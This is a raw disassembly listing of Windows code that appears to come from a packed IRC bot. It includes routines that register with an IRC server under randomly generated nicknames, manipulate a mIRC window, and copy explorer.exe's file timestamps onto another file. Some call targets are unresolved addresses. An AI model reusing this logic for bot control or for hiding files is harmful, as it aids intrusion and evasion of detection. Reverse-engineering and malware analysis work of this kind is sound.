; Attributes: bp-based frame


sub_4178BB	proc near		; DATA XREF: sub_417A60+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46F4[esi]
		mov	dword_4D46E8[esi], edi
		push	dword_4D48F4[esi]
		push	eax
		call	sub_417703
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46EC[esi], eax
		jb	loc_417A40
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADE
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB6A4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417997:				; CODE XREF: sub_4178BB+111j
					; sub_4178BB+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB66C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A40
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417997


loc_4179CE:				; CODE XREF: sub_4178BB+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F5
		cmp	al, 0Ah
		jz	short loc_4179F5
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F5
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2F
; ---------------------------------------------------------------------------


loc_4179F5:				; CODE XREF: sub_4178BB+11Cj
					; sub_4178BB+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2F
		push	dword_4D46EC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A40
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2F:				; CODE XREF: sub_4178BB+138j
					; sub_4178BB+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CE
		jmp	loc_417997
; ---------------------------------------------------------------------------


loc_417A40:				; CODE XREF: sub_4178BB+40j
					; sub_4178BB+107j ...
		mov	dword_4D46E8[esi], ebx
		mov	esi, dword_4D46EC[esi]
		cmp	esi, ebx
		jbe	short loc_417A57
		push	esi
		call	dword_4CB6EC


loc_417A57:				; CODE XREF: sub_4178BB+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A60	proc near		; CODE XREF: sub_401ACD+31E2p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD9


loc_417A72:				; CODE XREF: sub_417A60+77j
		xor	edi, edi
		mov	eax, offset dword_4D46E8


loc_417A79:				; CODE XREF: sub_417A60+28j
		cmp	[eax], ebx
		jz	short loc_417A8A
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DAE08
		jl	short loc_417A79


loc_417A8A:				; CODE XREF: sub_417A60+1Bj
		cmp	edi, 31h
		jz	short loc_417AD9
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46F4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48F4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46E8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BB
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A72


loc_417AD9:				; CODE XREF: sub_417A60+10j
					; sub_417A60+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADE	proc near		; CODE XREF: sub_401ACD+374Ep
					; sub_401ACD+3794p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B28
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385E8[edx*4]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B28:				; CODE XREF: sub_417ADE+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382E8[edx*4]


loc_417B41:				; CODE XREF: sub_417ADE+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB4
		cmp	esi, 3
		jnz	short loc_417BAB
		cmp	ebx, 1
		jz	short loc_417BB4


loc_417BAB:				; CODE XREF: sub_417ADE+C6j
		cmp	eax, 1
		jnz	loc_417C6E


loc_417BB4:				; CODE XREF: sub_417ADE+C1j
					; sub_417ADE+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		push	off_4385E8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5B
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5B
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5B
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5B:				; CODE XREF: sub_417ADE+111j
					; sub_417ADE+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax


loc_417C66:				; DATA XREF: Themida_:0056C5E4o
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6E:				; CODE XREF: sub_417ADE+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED6
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCD
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDC
		cmp	eax, 1
		jnz	loc_417DCD


loc_417CDC:				; CODE XREF: sub_417ADE+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1E
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D3A
; ---------------------------------------------------------------------------


loc_417D1E:				; CODE XREF: sub_417ADE+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D3A:				; CODE XREF: sub_417ADE+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D63
		cmp	eax, ebx
		jnz	short loc_417DCD


loc_417D63:				; CODE XREF: sub_417ADE+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA8
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC6
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417ADE+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC6:				; CODE XREF: sub_417ADE+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCD:				; CODE XREF: sub_417ADE+1C9j
					; sub_417ADE+1F8j ...
		cmp	esi, 6
		jge	loc_417E56
		cmp	esi, 5
		jge	short loc_417DEE
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_417E0C
; ---------------------------------------------------------------------------


loc_417DEE:				; CODE XREF: sub_417ADE+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_417E0C:				; CODE XREF: sub_417ADE+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2F
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4C
; ---------------------------------------------------------------------------


loc_417E2F:				; CODE XREF: sub_417ADE+335j
		cmp	eax, 1
		jnz	short loc_417E56
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h


loc_417E4C:				; CODE XREF: sub_417ADE+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E56:				; CODE XREF: sub_417ADE+2F2j
					; sub_417ADE+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		cmp	[ebp+var_C], eax
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED6:				; CODE XREF: sub_417ADE+1B1j
					; sub_417ADE+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEF	proc near		; CODE XREF: sub_401ACD+BECp
					; sub_401ACD+C29p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F7A
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F7A
		cmp	[ebp+arg_8], esi
		jz	short loc_417F7A
		cmp	byte ptr [eax],	0
		jz	short loc_417F7A
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F75
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6E
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6E:				; CODE XREF: sub_417EEF+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F75:				; CODE XREF: sub_417EEF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7C
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417EEF+Cj
					; sub_417EEF+13j ...
		xor	eax, eax


loc_417F7C:				; CODE XREF: sub_417EEF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F80	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB6
		or	eax, 0FFFFFFFFh
		jmp	short loc_418029
; ---------------------------------------------------------------------------


loc_417FB6:				; CODE XREF: sub_417F80+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD8


loc_417FC2:				; CODE XREF: sub_417F80+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCF
		cmp	dl, 0Dh
		jnz	short loc_417FD3


loc_417FCF:				; CODE XREF: sub_417F80+48j
		and	byte ptr [ecx+esi], 0


loc_417FD3:				; CODE XREF: sub_417F80+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC2


loc_417FD8:				; CODE XREF: sub_417F80+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418009
		lea	edi, [ebp+var_7CC]


loc_417FE5:				; CODE XREF: sub_417F80+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418004
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418004
		cmp	ebx, 1F4h
		jge	short loc_418009
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418004:				; CODE XREF: sub_417F80+69j
					; sub_417F80+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE5


loc_418009:				; CODE XREF: sub_417F80+5Dj
					; sub_417F80+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418027
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418027:				; CODE XREF: sub_417F80+8Ej
		mov	eax, ebx


loc_418029:				; CODE XREF: sub_417F80+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802D	proc near		; CODE XREF: sub_418087+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418066
		push	ebx
		mov	ebx, edi


loc_41804A:				; CODE XREF: sub_41802D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418069
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41804A
		pop	ebx


loc_418066:				; CODE XREF: sub_41802D+18j
		pop	edi
		pop	esi
		retn
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41802D+25p
					; sub_418087+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418084
		cmp	al, 7Ah
		jg	short loc_418084
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418084:				; CODE XREF: sub_418069+Ej
					; sub_418069+12j
		xor	eax, eax
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418087	proc near		; CODE XREF: ___:0041532Ep

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C5:				; CODE XREF: sub_418087+B6j
		test	esi, esi
		jle	short loc_418143
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813B


loc_4180EB:				; CODE XREF: sub_418087+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418069
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810C
		mov	eax, ecx


loc_41810C:				; CODE XREF: sub_418087+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EB


loc_41813B:				; CODE XREF: sub_418087+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C5
; ---------------------------------------------------------------------------


loc_41813F:				; CODE XREF: sub_418087+8Aj
		xor	eax, eax
		jmp	short loc_418148
; ---------------------------------------------------------------------------


loc_418143:				; CODE XREF: sub_418087+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418148:				; CODE XREF: sub_418087+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814D	proc near		; CODE XREF: sub_401ACD+67A4p
					; sub_401ACD+789Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680F9Dh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27C0000h
		nop
		lea	eax, [ebp+var_100]


loc_418186:				; CODE XREF: sub_41814D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418192
		cmp	cl, 9
		jnz	short loc_418195


loc_418192:				; CODE XREF: sub_41814D+3Ej
		inc	eax
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_41814D+43j
					; sub_41814D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418195
		cmp	cl, 21h
		jl	short loc_418195


loc_4181AF:				; CODE XREF: sub_41814D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DAE0C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D7	proc near		; CODE XREF: sub_401ACD+24CBp
		push	esi
		push	0
		call	dword_4CB624
		test	eax, eax
		jz	short loc_41820E
		push	1
		call	dword_4CB644
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820E
		push	edi
		push	esi
		call	near ptr 27D07ACh
		nop
		push	esi
		mov	edi, eax
		call	near ptr 27D0000h
		nop
		call	dword_4CB6A8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820E:				; CODE XREF: sub_4181D7+Bj
					; sub_4181D7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418212	proc near		; CODE XREF: sub_401ACD+7662p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB660
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 27E050Ch
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27E0334h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB6B0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB6B0
		push	ebx
		nop
		call	near ptr 27E0000h
		push	edi
		nop
		call	near ptr 2660868h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_418290
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418212+16j
		xor	eax, eax


loc_418290:				; CODE XREF: sub_418212+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418294	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	short loc_418333
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27F0644h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27F0000h
		push	esi
		call	ebx


loc_418333:				; CODE XREF: sub_418294+2Aj
					; sub_418294+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418294	endp


; =============== S U B	R O U T	I N E =======================================



